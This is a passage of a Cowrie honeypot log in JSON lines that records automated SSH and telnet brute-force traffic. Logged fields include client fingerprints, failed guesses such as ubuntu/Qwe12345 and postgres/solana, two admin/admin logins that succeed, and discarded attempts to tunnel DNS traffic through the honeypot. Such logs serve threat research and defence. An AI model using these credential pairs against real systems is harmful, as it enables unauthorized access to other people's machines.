ha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:02:36.085642Z","src_ip":"87.251.64.176","session":"8a2d8979788b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:02:36.374850Z","src_ip":"87.251.64.176","session":"8a2d8979788b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:02:36.478729Z","session":"8a2d8979788b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:02:36.577047Z","src_ip":"87.251.64.176","session":"8a2d8979788b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:02:36.676015Z","src_ip":"87.251.64.176","session":"8a2d8979788b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.15.132","src_port":21885,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a0e5a612067","protocol":"ssh","message":"New connection: 202.165.15.132:21885 (10.17.0.5:22) [session: 7a0e5a612067]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:02:39.604318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:02:39.608990Z","src_ip":"202.165.15.132","session":"7a0e5a612067","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:02:39.852385Z","src_ip":"202.165.15.132","session":"7a0e5a612067","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Qwe12345","message":"login attempt [ubuntu/Qwe12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:02:40.855218Z","src_ip":"202.165.15.132","session":"7a0e5a612067","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:02:42.107090Z","src_ip":"202.165.15.132","session":"7a0e5a612067","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":3153,"dst_ip":"10.17.0.5","dst_port":23,"session":"e134fc91921e","protocol":"telnet","message":"New connection: 212.55.149.117:3153 (10.17.0.5:23) [session: e134fc91921e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:02:59.131210Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":38310,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d5fc7102b7e","protocol":"ssh","message":"New connection: 193.32.162.145:38310 (10.17.0.5:22) [session: 0d5fc7102b7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:03:13.213136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:03:13.217837Z","src_ip":"193.32.162.145","session":"0d5fc7102b7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:03:13.325072Z","src_ip":"193.32.162.145","session":"0d5fc7102b7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"bot","message":"login attempt [sol/bot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:03:13.637420Z","src_ip":"193.32.162.145","session":"0d5fc7102b7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:03:14.744788Z","src_ip":"193.32.162.145","session":"0d5fc7102b7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.15.132","src_port":13444,"dst_ip":"10.17.0.5","dst_port":22,"session":"578ac6804a6b","protocol":"ssh","message":"New connection: 202.165.15.132:13444 (10.17.0.5:22) [session: 578ac6804a6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:03:39.713614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:03:39.718776Z","src_ip":"202.165.15.132","session":"578ac6804a6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:03:39.963095Z","src_ip":"202.165.15.132","session":"578ac6804a6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"555","message":"login attempt [ubuntu/555] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:03:40.970240Z","src_ip":"202.165.15.132","session":"578ac6804a6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:03:42.217343Z","src_ip":"202.165.15.132","session":"578ac6804a6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":118.34799528121948,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:04:08.610415Z","src_ip":"212.55.149.117","session":"c3af28de5f73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.15.132","src_port":25177,"dst_ip":"10.17.0.5","dst_port":22,"session":"48144ebb6879","protocol":"ssh","message":"New connection: 202.165.15.132:25177 (10.17.0.5:22) [session: 48144ebb6879]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:04:38.619209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:04:38.626037Z","src_ip":"202.165.15.132","session":"48144ebb6879","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:04:38.865772Z","src_ip":"202.165.15.132","session":"48144ebb6879","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssword123","message":"login attempt [ubuntu/P@ssword123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:04:39.858650Z","src_ip":"202.165.15.132","session":"48144ebb6879","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:04:41.102489Z","src_ip":"202.165.15.132","session":"48144ebb6879","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":56050,"dst_ip":"10.17.0.5","dst_port":22,"session":"d043bb50577b","protocol":"ssh","message":"New connection: 87.251.64.176:56050 (10.17.0.5:22) [session: d043bb50577b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:04:46.929523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:04:46.934944Z","src_ip":"87.251.64.176","session":"d043bb50577b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:04:47.032393Z","src_ip":"87.251.64.176","session":"d043bb50577b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:04:47.322988Z","src_ip":"87.251.64.176","session":"d043bb50577b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:04:47.422097Z","session":"d043bb50577b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:04:47.520406Z","src_ip":"87.251.64.176","session":"d043bb50577b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:04:47.623436Z","src_ip":"87.251.64.176","session":"d043bb50577b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01279902458191,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:04:59.143894Z","src_ip":"212.55.149.117","session":"e134fc91921e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":64758,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6cb5cff602f","protocol":"telnet","message":"New connection: 212.55.149.117:64758 (10.17.0.5:23) [session: f6cb5cff602f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:05:02.601834Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":57928,"dst_ip":"10.17.0.5","dst_port":22,"session":"5323c0b2c9de","protocol":"ssh","message":"New connection: 193.32.162.145:57928 (10.17.0.5:22) [session: 5323c0b2c9de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:05:27.888350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:05:27.892486Z","src_ip":"193.32.162.145","session":"5323c0b2c9de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:05:27.991156Z","src_ip":"193.32.162.145","session":"5323c0b2c9de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"solana","message":"login attempt [postgres/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:05:28.290786Z","src_ip":"193.32.162.145","session":"5323c0b2c9de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:05:29.392570Z","src_ip":"193.32.162.145","session":"5323c0b2c9de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":37426,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb745320750a","protocol":"ssh","message":"New connection: 103.15.226.202:37426 (10.17.0.5:22) [session: cb745320750a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:05:37.693968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:05:37.701780Z","src_ip":"103.15.226.202","session":"cb745320750a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 